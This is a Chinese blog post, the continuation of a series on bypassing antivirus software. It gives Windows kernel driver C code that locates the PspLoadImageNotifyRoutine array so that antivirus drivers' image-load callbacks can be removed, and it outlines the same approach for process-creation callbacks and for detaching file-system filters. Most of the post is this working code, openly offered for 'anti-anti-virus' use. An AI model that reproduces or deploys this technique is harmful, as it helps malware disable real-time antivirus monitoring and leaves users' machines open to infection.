现在的位置: 首页 > 综合 > 正文

绕过杀毒软件之一续

2013年09月15日 ⁄ 综合 ⁄ 共 2334字 ⁄ 字号 评论关闭

上次说的绕过杀毒软件之一(实时监控篇)中,提供了解决方法这是对应代码:
(至于如何清理具体驱动的NotfiyRoutine,就是找到驱动所加载的地址,用PsLoadedModuleList或ZwQuerySystemInformation,然后判断PspLoadImageNotifyRoutine中的项是否落在此驱动范围,
我在这就不罗嗦了,自己动手去)

//FixNotify.h
//It's for find PspLoadImageNotifyRoutine Addr
//for anti-anti-virus or anti-trojan
#ifndef __FIX_NOTIFY__
#define __FIX_NOTIFY__

DWORD FindPspLoadImageNotifyRoutine(void);

NTSTATUS InitFixNotify(void);

VOID MyNotifyRoutine(IN PUNICODE_STRING  FullImageName,
      IN HANDLE  ProcessId,
      IN PIMAGE_INFO  ImageInfo);

#endif

//FixNotify.cpp
#include "FixNotify.h"

NTSTATUS InitFixNotify(void)
{
 return PsSetLoadImageNotifyRoutine(MyNotifyRoutine);
}

VOID MyNotifyRoutine(IN PUNICODE_STRING  FullImageName,
      IN HANDLE  ProcessId,
      IN PIMAGE_INFO  ImageInfo)
{
    return;
}

DWORD FindPspLoadImageNotifyRoutine(void)
{
 UINT           i,j;
 BYTE*          pCheckArea;
 DWORD          dwCheckAddr;
 DWORD          dwNotifyItemAddr;
 DWORD*         pPspLINotifyRoutine;
 UNICODE_STRING unstrFunc;

 RtlInitUnicodeString(&unstrFunc, L"PsSetLoadImageNotifyRoutine");
 
 pCheckArea = (BYTE*)MmGetSystemRoutineAddress (&unstrFunc) ;
 if (!pCheckArea)
 {
  KdPrint(("[RTMonitor] MmGetSystemRoutineAddress failed."));
  return 0;
 }
 
 
 for (i=0; i<100; i++)
 {
  dwCheckAddr         = *(DWORD*)pCheckArea;
  pPspLINotifyRoutine = (DWORD*)dwCheckAddr;
  
  if (MmIsAddressValid(pPspLINotifyRoutine))
  {
   KdPrint(("[RTMonitor] Vaild Addr: %x", pPspLINotifyRoutine));
   
   dwNotifyItemAddr = *pPspLINotifyRoutine;
   
//内核中关于Notify地址记录问题,在winxp(win2003)与win2000(NT4.0)下差异很大
#if defined (_WINXP_) || defined (_WIN2003_)

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr != NULL && MmIsAddressValid((void*)dwNotifyItemAddr))
    {
     if (*(DWORD*)(dwNotifyItemAddr-3) == (DWORD)MyNotifyRoutine)
     {
      
      KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
      
      return (DWORD)pPspLINotifyRoutine;      
     }
    }
    dwNotifyItemAddr++;
   }
#else

   for (j=0; j<8; j++)
   {
    if (dwNotifyItemAddr == (DWORD)MyNotifyRoutine)
    {
     
     KdPrint(("[RTMonitor] Find PspLoadImageNotifyRoutine: %x", pPspLINotifyRoutine));
     
     return (DWORD)pPspLINotifyRoutine;      
    }
    dwNotifyItemAddr++;
   }
#endif
   
  }
  pCheckArea++;
 }
 
 return 0;
}

ps:关于PsSetCreateProcessNotifyRoutine和Attach File System部分,我在下面一篇文章会分析,
1)PsSetCreateProcessNotifyRoutine修复的方法和PsSetLoadImageNotifyRoutine一样。
2)Attach File System修复的方法是通用解除Attach的方法!详见IoAttachDevice的实现,反过来就可以了。

 

抱歉!评论已关闭.